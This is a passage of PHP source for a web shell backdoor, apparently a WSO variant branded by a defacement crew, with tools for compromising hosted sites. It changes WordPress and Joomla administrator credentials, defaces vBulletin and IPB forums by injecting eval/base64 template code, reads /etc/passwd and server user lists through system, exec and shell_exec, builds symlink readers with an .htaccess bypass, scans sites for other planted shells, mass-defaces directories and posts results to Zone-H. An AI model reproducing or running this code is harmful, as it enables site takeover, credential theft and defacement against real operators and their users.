1840<a href=# onclick="g(\'wpsym\',\'' . $GLOBALS['home_cwd'] . '\',\'\',\'\',\'\')">[ WordPress Login Changer From Config ]</a><br><br>
1841<a href=# onclick="g(\'wpkey\',\'' . $GLOBALS['home_cwd'] . '\',\'\',\'\',\'\')">[ WordPress Login Changer From Keyboard ]</a><br><br>
1842<center>
1843<h1>Joomla</h1>
1844<a href=# onclick="g(\'jmsym\',\'' . $GLOBALS['home_cwd'] . '\',\'\',\'\',\'\')">[ Joomla Login Changer From Config ]</a><br><br>
1845<a href=# onclick="g(\'jmkey\',\'' . $GLOBALS['home_cwd'] . '\',\'\',\'\',\'\')">[ Joomla Login Changer From Keyboard ]</a><br><br>
1846<center>
1847<h1>Vbulletin</h1>
1848<a href=# onclick="g(\'vbindex\',\'' . $GLOBALS['home_cwd'] . '\',\'\',\'\',\'\')">[ Vbulletin index changer ]</a><br><br>
1849<center>
1850<h1>PHPBB</h1>
1851<a href=# onclick="g(\'phpbb\',\'' . $GLOBALS['home_cwd'] . '\',\'\',\'\',\'\')">[ PHPBB index changer ]</a><br><br>
1852<center>
1853<h1>IPB</h1>
1854<a href=# onclick="g(\'ipb\',\'' . $GLOBALS['home_cwd'] . '\',\'\',\'\',\'\')">[ IPB index changer ]</a><br><br>
1855<center>
1856';
1857wsoFooter(); }
1858######################### IPB #######################
1859function actionipb() {
1860wsoHeader();
1861echo'<center><h1> IPB index Changer </h1>
1862<form method = "POST">
1863<table border = "1" width="443" height="316" style="text-align: center" align="center">
1864<tr>
1865<td height="105" width="780">
1866<p align="center"><b>Host : </b>
1867<input type="text" name="f10" size="20" value="localhost"> <b>
1868DataBase :</b> <input type ="text" name = "f11" size="20"></p>
1869<p align="center"> <b>User :</b>
1870<input type ="text" name = "f12" size="20">
1871<b> Password :</b> <input type ="text" name = "f13" size="20"><p align="center">
1872<b>Table Prefix:</b><br>
1873<input type ="text" name = "f14" size="20" value="ibf_skin_sets"></td>
1874</tr>
1875<tr>
1876<td height="167" width="780"><p align="center"> <textarea name="index3" cols=53 rows=9> <br><center>Hacked By Phenomene Dz <br><center>[ Martyrs Crew ]<br>#Algerian Hacker <br><center>#Free Pilastine <br><center>#www.fb.com/J1jeI
1877 </textarea><p align="center"><input type="hidden" name="a" value="ipb"><input type = "submit" value = "Deface !">
1878<input type = "reset" value = "Clear"></td>
1879</tr>
1880</tr>
1881</table>';
1882$localhost3 = $_POST['f10'];
1883$database3 = $_POST['f11'];
1884$username3 = $_POST['f12'];
1885$password3 = $_POST['f13'];
1886$IPB = $_POST['f14'];
1887$index3 = $_POST['index3'];
1888if($database3=$_POST['f11']){
1889$con3 =@ mysql_connect($localhost3,$username3,$password3) or die;
1890$db3 =@ mysql_select_db($database3,$con3) or die;
1891
1892$query3 = "UPDATE $IPB SET set_cache_wrapper = '$index3'" or die;
1893$result3 =@ mysql_query($query3,$con3);
1894if($result3){
1895echo "<p align='center'>
1896<marquee behavior='alternate' bgcolor='#FF0000' style='color: #000000; font-weight: bold'>[ Mr.511 ]----[ Update Finish ]----[ Mr.511 ]</marquee></p>";
1897}
1898else {
1899echo "<p align='center'><marquee behavior='alternate' bgcolor='#FF0000' style='color: #000000; font-weight: bold'>[ Mr.511 ]----[ Please Check Database Information ]----[ Mr.511 ]</marquee></p>";
1900}
1901}
1902wsoFooter(); }
1903######################## wp key ############################
1904function actionwpkey() {
1905wsoHeader();
1906{
1907if(empty($_POST['pwd'])){
1908
1909echo "<br><br><center><div class='mybox'>
1910<h1>[ Wordpress login changer ]</h1>
1911<FORM method='POST'>DB Prefix : <INPUT class ='inputz' size='8' value='wp_' name='prefix' type='text'> Host : <INPUT class ='inputz' size='10' value='localhost' name='localhost' type='text'> db : <INPUT class ='inputz' size='10' value='Database' name='database' type='text'> User : <INPUT class ='inputz' size='10' value='db_user' name='username' type='text'> Pass : <INPUT class ='inputz' size='10' value='db_pass' name='password' type='text'> <br><br>New User : <INPUT class ='inputz' name='admin' size='15' value='jijle3'><br><br>New Pass : <INPUT class ='inputz' name='pwd' size='15' value='19620705'><br> <br><input type='hidden' name='a' value='wpkey' ><INPUT class='inputzbut' value='Change it Please' name='send' type='submit'></FORM></div/></center>";
1912}
1913else{$prefix = $_POST['prefix'];$localhost = $_POST['localhost'];$database= $_POST['database'];
1914$username= $_POST['username'];
1915$password= $_POST['password'];
1916$pwd= $_POST['pwd'];
1917$admin= $_POST['admin'];
1918@mysql_connect($localhost,$username,$password) or die(mysql_error());
1919@mysql_select_db($database) or die(mysql_error());
1920$hash = crypt($pwd);
1921$grab = @mysql_query("SELECT * from `".$prefix."options` WHERE option_name='home'");
1922$data = @mysql_fetch_array($grab);
1923$site_url=$data["option_value"];
1924$jijle3=@mysql_query("UPDATE ".$prefix."users SET user_login ='".$admin."' WHERE ID = 1") or die(mysql_error());
1925$jijle3=@mysql_query("UPDATE ".$prefix."users SET user_pass ='".$hash."' WHERE ID = 1") or die(mysql_error());
1926if($jijle3){echo '<br><br><center><h1>Done ... -> <a href="'.$site_url.'/wp-login.php" target="_blank">Login</a></h1></center>';
1927}}
1928echo '</center>';
1929}
1930wsoFooter(); }
1931######################## wp sym ############################
1932function actionwpsym() {
1933wsoHeader();
1934if ($_POST['kill']) {
1935$url = $_POST['url'];
1936$user = $_POST['user'];$pass =$_POST['pass'];
1937$pss = md5($pass);
1938function enter($text,$a,$b){$explode = explode($a,$text);$explode = explode($b,$explode[1]);
1939return $explode[0];}$config = file_get_contents($url);$password = enter($config,"define('DB_PASSWORD', '","');");
1940$username = enter($config,"define('DB_USER', '","');");$db = enter($config,"define('DB_NAME', '","');");$prefix = enter($config,'$table_prefix = \'',"';");$host = enter($config,"define('DB_HOST', '","');");if($config && preg_match('/DB_NAME/i',$config)){$conn= @mysql_connect($host,$username ,$password ) or die ("i can't connect to mysql, check your data");@mysql_select_db($db,$conn) or die (mysql_error());$grab = @mysql_query("SELECT * from `wp_options` WHERE option_name='home'");$data = @mysql_fetch_array($grab);$site_url = $data["option_value"];$query = mysql_query("UPDATE `".$prefix."users` SET `user_login` = '".$user."',`user_pass` = '".$pss."' WHERE `ID` = 1");if ($query) {echo '<center><h2 class="jijle3">Done !</h2></center><br><table width="100%"><tr><th width="20%">site</th><th width="20%">user</th><th with="20%">password</th><th width="20%">link</th></tr><tr><td width="20%"><font size="2" color="red">'.$site_url.'</font></td><td width="20%">'.$user.'</td><td with="20%">'.$pass.'</td><td width="20%"><a href="'.$site_url.'/wp-login.php"><font color="#00ff00">login</font></td></tr></table>';} else echo '<h2 class="jijle3"><font color="#ff0000">ERROR !</font></h2>';} else die('<center><h2 class="jijle3">Jijle3@phdz:~# This is Not WordPress Config !</h2>');} else { <center><br><br><div class="mybox"><form method="post">
1941<h1 style='font-size:26px;' class='jijle3'>[ Wordpress Login changer From Config ]</h1>
1942<br>
1943<table><tr><td>Config File Link : </td><td>
1944<input size="26" class="inputz" type="text" name="url" value="">
1945</td></tr><tr><td>New User : </td><td>
1946<input class="inputz" type="text" name="user" size="26" value="jijle3"></td>
1947</tr><tr><td>New Pass : </td><td>
1948<input class="inputz" type="text" size="26" name="pass" value="jijle3"></td></tr><tr><td>
1949<br></td></tr><tr><td>
1950<input type="hidden" name="a" value="wpsym"><input class="inputzbut" type="submit" name="kill" value=" Change it Please "></td>
1951<br></tr></table></form></div>
1952</center>}
1953wsoFooter(); }
1954######################## joomla sym ############################
1955function actionjmsym() {
1956wsoHeader();
1957{
1958if ($_POST['symjo']) {
1959$config = file_get_contents($_POST['url']);
1960$user = $_POST['user'];
1961$pass = md5($_POST['pass']);
1962function ex($text,$a,$b){
1963$explode = explode($a,$text);
1964$explode = explode($b,$explode[1]);
1965return $explode[0];
1966}
1967if($config && ereg('JConfig',$config)){
1968$psswd = ex(
1969$config,'$password = \'',"';");
1970$username = ex($config,'$user = \'',"';");
1971$dbname = ex($config,'$db = \'',"';");
1972$prefix = ex($config,'$dbprefix = \'',"';");
1973$host = ex($config,'$host = \'',"';");
1974$email = ex($config,'$mailfrom = \'',"';");
1975$formn = ex($config,'$fromname = \'',"';");
1976$conn = mysql_connect($host,$username,$psswd) or die(mysql_error());mysql_select_db($dbname,$conn) or die($username.' '.$psswd.' '.$host.' '.$dbname);
1977$query = @mysql_query("UPDATE `".$prefix."users` SET `username` ='".$user."' , `password` = '".$pass."', `usertype` = 'Super Administrator', `block` = 0");
1978if ($query) {
1979echo '<center><h2 class="jijle3">Done !</h2></center><br><table width="100%"><tr><th width="30%">site name</th><th width="20%">user</th><th width="20%">password</th><th width="20%">email</th></tr><tr><td width="20%"><font size="2" color="red">'.$formn.'</font></td><td width="20%">'.$user.'</td><td with="20%">'.$_POST["pass"].'</td><td width="20%">'.$email.'</td></tr></table>';}else {echo '<h2 class="jijle3"><font color="#ff0000">ERROR !</font></h2>';}}else die('<h2 class="jijle3"><font color="#df5">Jijle3@phdz:~# This is Not Joomla Config . . <br><br> # i Will Drive if You Are Drunk !</font></h2>');
1980}
1981else {
1982<center><br><br><div class="mybox">
1983<form method="post"><table>
1984<h1 class="jijle3">Joomla Login Changer From Config</h1>
1985<tr><td>config link : </td><td><input class="inputz" type="text" name="url" value=""></td></tr><tr><td>new user : </td><td><input class="inputz" type="text" name="user" value="admin"></td></tr><tr><td>new password : </td><td><input class="inputz" type="text" name="pass" value="123123"></td></tr><tr><td><br></td></tr><tr><td><input type="hidden" name="a" value="jmsym"><input type="submit" class="inputzbut" name="symjo" value="change"></td><br></tr></table></form></div></center>}}
1986wsoFooter(); }
1987######################## joomla key ############################
1988function actionjmkey() {
1989wsoHeader();
1990{
1991if(empty($_POST['pwd']))
1992{
1993echo "<br><br><br><center><div class='mybox'><h1>Joomla login changer</h1><FORM method='POST'><br><br><br>DB_Prefix : <INPUT class ='inputz' size='8' value='jos_' name='prefix' type='text'> host :
1994<INPUT class ='inputz' size='10' value='localhost' name='localhost' type='text'> database : <INPUT class ='inputz' size='10' value='database' name='database' type='text'> username : <INPUT class ='inputz' size='10' value='db_user' name='username' type='text'> password : <INPUT class ='inputz' size='10' value='db_pass' name='password' type='text'><br> <br>New Username: <INPUT class ='inputz' name='admin' size='15' value='jijle3'><br><br>New Password: <INPUT class ='inputz' name='pwd' size='15' value='123123'><br><br> <input type='hidden' name='a' value='jmkey'><INPUT value='change' class='inputzbut' name='send' type='submit'></FORM></div></center>";
1995}
1996else {$prefix = $_POST['prefix'];
1997$localhost = $_POST['localhost'];
1998$database = $_POST['database'];
1999$username = $_POST['username'];
2000$password = $_POST['password'];
2001$admin = $_POST['admin'];
2002$pd = ($_POST["pwd"]);
2003$pwd = md5($pd);@mysql_connect(
2004$localhost,$username,$password) or die (mysql_error());
2005@mysql_select_db($database) or die (mysql_error());
2006$SQL=@mysql_query("UPDATE ".$prefix."users SET username ='".$admin."' WHERE name = 'Super User' or name = 'Super Utilisateur' or id='62'") or die (mysql_error());
2007$SQL=@mysql_query("UPDATE ".$prefix."users SET password ='".$pwd."' WHERE name = 'Super User' or name = 'Super Utilisateur' or id='62'") or die (mysql_error());
2008if($SQL) echo "<br><br><center><h1>Password Changed ! ... Go and login</h1></center>";}}
2009wsoFooter(); }
2010######################## vb index ######################
2011function actionvbindex() {
2012wsoHeader();
2013{
2014if(empty($_POST['index']))
2015{
2016echo "<center><br><br><div width='100%' class='mybox'><br><h1 class='jijle3'>Vbulletin index changer</h1>
2017<br><FORM method='POST'>host : <INPUT size='12' class='inputz' value='localhost' name='localhost' type='text'> | database : <INPUT class='inputz' size='12' value='db_name' name='database' type='text'> | username : <INPUT class='inputz' size='10' value='db_user' name='username' type='text'> | password : <INPUT class='inputz' size='10' value='bd_pass' name='password' type='text'> | perfix : <input class='inputz' size='10' value='' name='perfix' type='text'><br><br><textarea class='inputz' name='index' cols='40' rows='10'>
2018<br><center>Hacked By Phenomene Dz <br><center>[ Martyrs Crew ]<br>#Algerian Hacker <br><center>#Free Pilastine <br><center>#www.fb.com/J1jeI
2019</textarea><br><input type='hidden' name='a' value='vbindex'><INPUT class='inputzbut' value='Deface' name='send' type='submit'></FORM></div></center>";
2020}
2021else{$localhost = $_POST['localhost'];
2022$database = $_POST['database'];
2023$username = $_POST['username'];
2024$password = $_POST['password'];
2025$perfix = $_POST['perfix'];
2026$index = $_POST['index'];
2027@mysql_connect($localhost,$username,$password) or die(mysql_error());
2028@mysql_select_db($database) or die(mysql_error());
2029$index=str_replace("\'","'",$index);$set_index = "{\${eval(base64_decode(\'";
2030$set_index .= base64_encode("echo '$index';");
2031$set_index .= "\'))}}{\${exit()}}</textarea>";
2032$ok=@mysql_query("UPDATE ".$perfix."template SET template ='".$set_index."' WHERE title ='FORUMHOME'") or die(mysql_error());
2033if($ok){echo "Hamd Li Allah . . . Vb Forum Has Been DEFACED ! <br><br>";
2034}}}
2035wsoFooter(); }
2036####################### {Smylink } ##############################
2037function actionsym() {
2038wsoHeader();
2039//Smylinker
2040echo'
2041<center>
2042<h1>File Symlink</h1>
2043<br /><br />
2044<form method="post">
2045<input type="hidden" name="a" value="sym">
2046<input type="text" name="file" value="/var/www/" size="50"/><br /><br />
2047<input type="text" name="symfile" value="algeria.txt" size="50"/><br /><br />
2048<input type="submit" value="symlink" name="symlink" /> <br /><br />
2049</form>
2050';
2051$pfile = $_POST['file'];
2052$symfile = $_POST['symfile'];
2053$symlink = $_POST['symlink'];
2054if ($symlink)
2055{
2056@mkdir('phdzsymF',0755);
2057$c = "Options Indexes FollowSymLinks \n DirectoryIndex ssssss.htm \n AddType txt .php \n AddHandler txt .php \n AddType txt .html \n AddHandler txt .html \n Options all \n Options \n Allow from all \n Require None \n Satisfy Any";
2058$f =@fopen ('phdzsymF/.htaccess','w');
2059@fwrite($f , $c);
2060@symlink("$pfile","phdzsymF/$symfile");
2061echo '<br /><a target="_blank" href="phdzsymF/'.$symfile.'" >'.$symfile.'</a>';
2062}</center>wsoFooter();}
2063
2064
2065################ Etc/pwd ####################
2066function actionetcbaypass() {
2067wsoHeader();
2068//etc passwd</center>echo '<br><center><h1>Etc Passwd Bypasser</h1><br>[ Bism Allah ]<center><br><br>';
2069echo '
2070<form method="post">
2071<input type="submit" value="Use [ System ] Function" name="syst">
2072<input type="hidden" name="a" value="etcbaypass">
2073</form>
2074</center><br>
2075</p>
2076
2077
2078<form method="post">
2079<font face="Tahoma" color="#007700" size="2pt">
2080<input type="submit" value="Use [ PassThru ] Function" name="passth">
2081<input type="hidden" name="a" value="etcbaypass">
2082</form>
2083</center><br>
2084</p>
2085
2086<p><center>
2087<form method="post">
2088<input type="submit" value="Use [ Exec ] Function" name="ex">
2089<input type="hidden" name="a" value="etcbaypass">
2090</form>
2091</center><br>
2092</p>
2093
2094<p><center>
2095<form method="post">
2096<input type="submit" value="Use [ Sh Exec ] Function" name="shex">
2097<input type="hidden" name="a" value="etcbaypass">
2098</form>
2099</center><br>
2100</p>
2101
2102<p><center>
2103<form method="post">
2104<input type="submit" value="Use [ Posix Getpwuid ] Function" name="dz">
2105<input type="hidden" name="a" value="etcbaypas">
2106</form>
2107</center><br>
2108</p>
2109
2110<center>';
2111
2112
2113//System Function //
2114if($_POST['syst'])
2115{
2116
2117echo"<textarea class='area' cols='65' rows='15'>";
2118echo system("cat /etc/passwd");
2119echo"</textarea><br>";
2120echo"
2121<br>
2122<b>
2123</b>
2124<br>
2125";
2126}
2127echo '
2128</center>
2129<center>';
2130
2131
2132
2133//Passthru Function //
2134if($_POST['passth'])
2135{
2136echo"<textarea class='area' cols='65' rows='15'>";
2137echo passthru("cat /etc/passwd");
2138echo"</textarea><br>";
2139echo"
2140<br>
2141<b>
2142
2143</b>
2144<br>
2145";
2146
2147}
2148
2149
2150echo '
2151</center>
2152<center>';
2153
2154
2155
2156//exec Function //
2157if($_POST['ex'])
2158{
2159echo"<textarea class='area' cols='65' rows='15'>";
2160echo exec("cat /etc/passwd");
2161echo"</textarea><br>";
2162echo"
2163<br>
2164<b>
2165</b>
2166<br>
2167";
2168}
2169
2170
2171echo '
2172</center>
2173<center>';
2174
2175
2176//exec Function //
2177if($_POST['shex'])
2178{
2179echo"<textarea class='area' cols='65' rows='15'>";
2180echo shell_exec("cat /etc/passwd");
2181echo"</textarea><br>";
2182echo"
2183<br>
2184<b>
2185</b>
2186<br>
2187";
2188}
2189echo '</center>
2190<center>';
2191
2192
2193
2194//posix_getpwuid Function //
2195if($_POST['dz'])
2196{
2197echo"<textarea class='area' cols='65' rows='15'>";
2198for($uid=0;$uid<60000;$uid++){
2199$ara = posix_getpwuid($uid);
2200if (!empty($ara)) {
2201while (list ($key, $val) = each($ara)){
2202print "$val:";
2203}
2204print "\n";
2205}
2206}
2207echo"</textarea><br>";
2208echo"
2209<br>
2210<b>
2211</b>
2212<br>
2213";
2214}</center>wsoFooter();}
2215################################## Server User ##############################
2216function actionetcnmd() {
2217wsoHeader();
2218echo '<br><center><h1>Server User Bypasser</h1><br>[ Bism Allah ]<center><br><br>';
2219echo '
2220<div class="tul"><font color="ee5500" face="Tahoma, Geneva, sans-serif" style="font-size: 8pt">
2221
2222<p><center>
2223<form method="post">
2224<input type="submit" value="Use [ AWK Programe ] Function" name="awk">
2225<input type="hidden" name="a" value="etcnmd">
2226</form>
2227</center><br>
2228</p>
2229
2230
2231<p><center>
2232<form method="post">
2233<input type="submit" value="Use [ Systeme ] Function" name="syst">
2234<input type="hidden" name="a" value="etcnmd">
2235</form>
2236</center><br>
2237</p>
2238
2239<p><center>
2240<form method="post">
2241<input type="submit" value="Use [ Passthru ] Function" name="passth">
2242<input type="hidden" name="a" value="etcnmd">
2243</form>
2244</center><br>
2245</p>
2246
2247<p><center>
2248<form method="post">
2249<input type="submit" value="Use [ Exec ] Function" name="ex">
2250<input type="hidden" name="a" value="etcnmd">
2251</form>
2252</center><br>
2253</p>
2254
2255<p><center>
2256<form method="post">
2257<input type="submit" value="Use [ Sh Exec ] Function" name="shex">
2258<input type="hidden" name="a" value="etcnmd">
2259</form>
2260</center><br>
2261</p><center>';
2262
2263
2264//Awk Program //
2265if ($_POST['awk']) {
2266echo"<textarea class='area' cols='65' rows='15'>";
2267echo shell_exec("awk -F: '{ print $1 }' /etc/passwd | sort");
2268echo "</textarea><br>";
2269echo "
2270<br>
2271<b>
2272</b>
2273<br>
2274";
2275}
2276echo "</center><center>";
2277
2278//System Function //
2279if ($_POST['syst']) {
2280echo"<textarea class='area' cols='65' rows='15'>";
2281echo system("ls /var/mail");
2282echo "</textarea><br>";
2283echo "
2284<br>
2285<b>
2286</b>
2287<br>
2288";
2289}
2290
2291echo "</center><center>";
2292
2293//Passthru Function //
2294if ($_POST['passth']) {
2295echo"<textarea class='area' cols='65' rows='15'>";
2296echo passthru("ls /var/mail");
2297echo "</textarea><br>";
2298echo "
2299<br>
2300<b>
2301</b>
2302<br>
2303";
2304}
2305echo "</center><center>";
2306
2307//exec Function //
2308if ($_POST['ex']) {
2309echo"<textarea class='area' cols='65' rows='15'>";
2310echo exec("ls /var/mail");
2311echo "</textarea><br>";
2312echo "
2313<br>
2314<b>
2315
2316</b>
2317<br>
2318";
2319}
2320
2321echo "</center><center>";
2322
2323//exec Function //
2324if ($_POST['shex']) {
2325echo"<textarea class='area' cols='65' rows='15'>";
2326echo shell_exec("ls /var/mail");
2327echo "</textarea><br>";
2328echo "
2329<br>
2330<b>
2331</b>
2332<br>
2333";
2334}</center>wsoFooter();}
2335##################### Shell Finder ####################
2336function actionshellfind() {
2337wsoHeader();
2338echo'<center>
2339<center><h1>Shell Finder<h1><br>
2340<p align="center"></p><br>
2341<form method="POST">
2342</form><center>
2343<form action="" method="post">
2344<input name="traget" type="text" size="100" value="http://www.site.co.il/"/><br>
2345<input type="hidden" name="a" value="shellfind">
2346<br><br>
2347<input name="scan" size="100" value="Start Scaning" type="submit">
2348</form><br>';
2349
2350set_time_limit(0);
2351
2352if (isset($_POST["scan"])) {
2353
2354$url = $_POST['traget'];
2355
2356echo "<br /><span class='start'>Scanning ".$url."<br /><br /></span>";
2357
2358$shells = array("WSO.php","shell.php","3xd.php","dz.php","priv8.php","sniper.php","dhanush shell.php","cpanel.php","cpn.php","sql.php","mysql.php","madspot.php","cp.php","cpbt.php","sYm.php",
2359"x.php","r99.php","lol.php","jo.php","wp.php","whmcs.php","shellz.php","d0main.php","d0mains.php","users.php",
2360"Cgishell.pl","killer.php","changeall.php","2.php","Sh3ll.php","dz0.php","dam.php","user.php","dom.php","whmcs.php",
2361"vb.zip","r00t.php","c99.php","gaza.php","1.php","wp.zipwp-content/plugins/disqus-comment-system/disqus.php",
2362"d0mains.php","wp-content/plugins/akismet/akismet.php","madspotshell.php","Sym.php","c22.php","c100.php",
2363"wp-content/plugins/akismet/admin.php#","wp-content/plugins/google-sitemap-generator/sitemap-core.php#",
2364"wp-content/plugins/akismet/widget.php#","Cpanel.php","zone-h.php","tmp/user.php","tmp/Sym.php","cp.php",
2365"tmp/madspotshell.php","tmp/root.php","tmp/whmcs.php","tmp/index.php","tmp/2.php","tmp/dz.php","tmp/cpn.php",
2366"tmp/changeall.php","tmp/Cgishell.pl","tmp/sql.php","tmp/admin.php","cliente/downloads/h4xor.php",
2367"whmcs/downloads/dz.php","L3b.php","d.php","tmp/d.php","tmp/L3b.php","wp-content/plugins/akismet/admin.php",
2368"templates/rhuk_milkyway/index.php","templates/beez/index.php","admin1.php","upload.php","up.php","vb.zip","vb.rar",
2369"admin2.asp","uploads.php","sa.php","sysadmins/","admin1/","administration/Sym.php","images/Sym.php",
2370"/r57.php","/wp-content/plugins/disqus-comment-system/disqus.php","/shell.php","/sa.php","/admin.php",
2371"/sa2.php","/2.php","/gaza.php","/up.php","/upload.php","/uploads.php","/templates/beez/index.php","shell.php","/amad.php",
2372"/t00.php","/dz.php","/site.rar","/Black.php","/site.tar.gz","/home.zip","/home.rar","/home.tar","/home.tar.gz",
2373"/forum.zip","/forum.rar","/forum.tar","/forum.tar.gz","/test.txt","/ftp.txt","/user.txt","/site.txt","/error_log","/error",
2374"/cpanel","/awstats","/site.sql","/vb.sql","/forum.sql","/backup.sql","/back.sql","/data.sql","wp.rar/",
2375"wp-content/plugins/disqus-comment-system/disqus.php","asp.aspx","/templates/beez/index.php","tmp/vaga.php",
2376"tmp/killer.php","whmcs.php","tmp/killer.php","tmp/domaine.pl","tmp/domaine.php","useradmin/","ma.php", "tn.php", "wso.php.html", "shell.php", "dhanush.php",
2377"tmp/d0maine.php","d0maine.php","tmp/sql.php","tmp/dz1.php","dz1.php","forum.zip","Symlink.php","Symlink.pl",
2378"forum.rar","joomla.zip","joomla.rar","wp.php","buck.sql","sysadmin.php","images/c99.php", "xd.php", "c100.php",
2379"spy.aspx","xd.php","tmp/xd.php","sym/root/home/","billing/killer.php","tmp/upload.php","tmp/admin.php",
2380"Server.php","tmp/uploads.php","tmp/up.php","Server/","wp-admin/c99.php","tmp/priv8.php","priv8.php","cgi.pl/",
2381"tmp/cgi.pl","downloads/dom.php","templates/ja-helio-farsi/index.php","webadmin.html","admins.php",
2382"/wp-content/plugins/count-per-day/js/yc/d00.php", "admins/","admins.asp","admins.php","wp.zip");
2383
2384//Start Scan
2385foreach ($shells as $shell){
2386$headers = get_headers("$url$shell"); //
2387
2388if (eregi('200', $headers[0])) {
2389//Result
2390echo "<a href='$url$shell'>$url$shell</a> <span class='found'</span><br /><br/><br/>"; //
2391}
2392}
2393}</center>wsoFooter();}
2394######################### Domains #########################
2395function actiondomains() {
2396wsoHeader();
2397echo '<center><h1>Server Domain</h1>';
2398$file = @implode(@file("/etc/named.conf"));
2399if(!$file){ die(" [/etc/named.conf] Not Writeable ! "); }
2400preg_match_all("#named/(.*?).db#",$file ,$r);
2401$domains = array_unique($r[1]);
2402//check();
2403//if(isset($_GET['ShowAll']))
2404{
2405echo "<table align=center border=1 width=59% cellpadding=5>
2406<tr><td colspan=2>[+] There are : [ <b>".count($domains)."</b> ] Domain</td></tr>
2407<tr><td>Domain</td><td>User</td></tr>";
2408foreach($domains as $domain){
2409$user = posix_getpwuid(@fileowner("/etc/valiases/".$domain));
2410 echo "<tr><td>$domain</td><td>".$user['name']."</td></tr>";
2411 }
2412 echo "</table>";
2413 }
2414echo '</div>';
2415wsoFooter(); }
2416######################### Mass Deface #########################
2417function actionmass(){
2418wsoHeader();
2419<head>
2420<center>
2421<span style="font-weight: 700;" class="style33">
2422 <h1>Folders Mass Defacer</h1></span></span></span><BR>
2423 </div>
2424<form action='basename($_SERVER['PHP_SELF']);' method='post'>
2425<div class="style31"><center>
2426<span>Directory : </span><br><input type='text' style='width: 250px' value='echo getcwd() . "/";' name='massdefacedir'><BR><br>
2427<span>index Url : </span><br><input type='text' style='width: 250px' name='massdefaceurl'>
2428 </form></td>
2429<p class="style3">
2430<input type="hidden" name="a" value="mass"><input type='submit' name='execmassdeface' value='>>'></div>
2431<center><span>Rusult : <span>
2432<span <ul>
2433 <span class="style32">
2434 <span class="style39">
2435 </span></p>
2436<span style="font-weight: 700;" class="style33">
2437 <font class="hk" style="text-shadow: 2px 2px 3px rgb(0, 0, 0);">
2438</center>
2439<div class="style31">
2440<html>
2441echo "<center><textarea rows='10' cols='100'>ph@dz:~# Jijle3 Mass Defacer | ";
2442$defaceurl = $_POST['massdefaceurl'];
2443$dir = $_POST['massdefacedir'];
2444echo $dir."\n";
2445if (is_dir($dir)) {
2446 if ($dh = opendir($dir)) {
2447 while (($file = readdir($dh)) !== false) {
2448 if(filetype($dir.$file)=="dir"){
2449 $newfile=$dir.$file."/index.html";
2450 echo $newfile."\n";
2451 if (!copy($defaceurl, $newfile)) {
2452 echo "ph@dz:~# Faild To Copy ! >> $file...";
2453 }
2454 }
2455 }
2456 closedir($dh);
2457 }
2458}
2459echo "</textarea></center>";
2460wsoFooter(); }
2461############## Domain #####################
2462function actionDomain(){
2463printHeader();
2464echo '<h1>local domain viewer</h1><div class=content>';
2465$file = @implode(@file("/etc/named.conf"));
2466if(!$file){ die("# can't ReaD -> [ /etc/named.conf ]"); }
2467preg_match_all("#named/(.*?).db#",$file ,$r);
2468$domains = array_unique($r[1]);
2469//check();
2470//if(isset($_GET['ShowAll']))
2471{
2472echo "<table align=center border=1 width=59% cellpadding=5>
2473<tr><td colspan=2>[+] There are : [ <b>".count($domains)."</b> ] Domain</td></tr>
2474<tr><td>Domain</td><td>User</td></tr>";
2475foreach($domains as $domain){
2476$user = posix_getpwuid(@fileowner("/etc/valiases/".$domain));
2477 echo "<tr><td>$domain</td><td>".$user['name']."</td></tr>";
2478 }
2479 echo "</table>";
2480 }
2481echo '</div>';
2482wsoFooter();
2483}
2484######################### Zone-h ############################
2485function actionzoneh() {
2486wsoHeader();
2487{
2488<br><br><center>
2489
2490<form action="" method='POST'><table><table class='tabnet'><tr>
2491<center>
2492<h1>Zone-H Mass Poster</h1>
2493<br /><br />
2494<font>Attaker Name<font><center><input type="text" class="inputz" name="defacer" value="Martyrs Crew" /><br>
2495<select name="hackmode" class="inputz" >
2496<option >------------------------ Select ------------------------</option>
2497<option value="1">known vulnerability (i.e. unpatched system)</option>
2498<option value="2" >undisclosed (new) vulnerability</option>
2499<option value="3" >configuration / admin. mistake</option>
2500<option value="4" >brute force attack</option>
2501<option value="5" >social engineering</option>
2502<option value="6" >Web Server intrusion</option>
2503<option value="7" >Web Server external module intrusion</option>
2504<option value="8" >Mail Server intrusion</option>
2505<option value="9" >FTP Server intrusion</option>
2506<option value="10" >SSH Server intrusion</option>
2507<option value="11" >Telnet Server intrusion</option>
2508<option value="12" >RPC Server intrusion</option>
2509<option value="13" >Shares misconfiguration</option>
2510<option value="14" >Other Server intrusion</option>
2511<option value="15" >SQL Injection</option>
2512<option value="16" >URL Poisoning</option>
2513<option value="17" >File Inclusion</option>
2514<option value="18" >Other Web Application bug</option>
2515<option value="19" >Remote administrative panel access bruteforcing</option>
2516<option value="20" >Remote administrative panel access password guessing</option>
2517<option value="21" >Remote administrative panel access social engineering</option>
2518<option value="22" >Attack against administrator(password stealing/sniffing)</option>
2519<option value="23" >Access credentials through Man In the Middle attack</option>
2520<option value="24" >Remote service password guessing</option>
2521<option value="25" >Remote service password bruteforce</option>
2522<option value="26" >Rerouting after attacking the Firewall</option>
2523<option value="27" >Rerouting after attacking the Router</option>
2524<option value="28" >DNS attack through social engineering</option>
2525<option value="29" >DNS attack through cache poisoning</option>
2526<option value="30" >Not available</option>
2527</select>
2528<select name="reason" class="inputz" >
2529<option >------------- Select ---------------</option>
2530<option value="1" >Heh...just for fun!</option>
2531<option value="2" >Revenge against that website</option>
2532<option value="3" >Political reasons</option>
2533<option value="4" >As a challenge</option>
2534<option value="5" >I just want to be the best defacer</option>
2535<option value="6" >Patriotism</option>
2536<option value="7" >Not available</option>
2537</select>
2538<input type="hidden" name="action" value="zone">
2539<center><textarea name="domain" cols="116" rows="9" id="domains">-Jijle3 : Sites Here</textarea>
2540<br /><input type="hidden" name="a" value="zoneh"><input class='inputzbut' type="submit" value="Send'it Please !" name="SendNowToZoneH" /><br></center></table>
2541</form></td></tr></table></form>
2542
2543</td></center><br><br>
2544echo '<center>';
2545 ob_start();
2546 $sub = get_loaded_extensions();
2547 if(!in_array("curl", $sub)){die('[-] Curl Is Not Supported !! ');}
2548 $hacker = $_POST['defacer'];
2549 $method = $_POST['hackmode'];
2550 $neden = $_POST['reason'];
2551 $site = $_POST['domain'];
2552 if (empty($hacker)){die ("[-] You Must Fill the Attacker name !");}
2553 elseif($method == "--------SELECT--------") {die("[-] You Must Select The Method !");}
2554 elseif($neden == "--------SELECT--------") {die("[-] You Must Select The Reason");}
2555 elseif(empty($site)) {die("[-] You Must Inter the Sites List ! ");}
2556 $i = 0;
2557 $sites = explode("\n", $site);
2558 while($i < count($sites))
2559 {
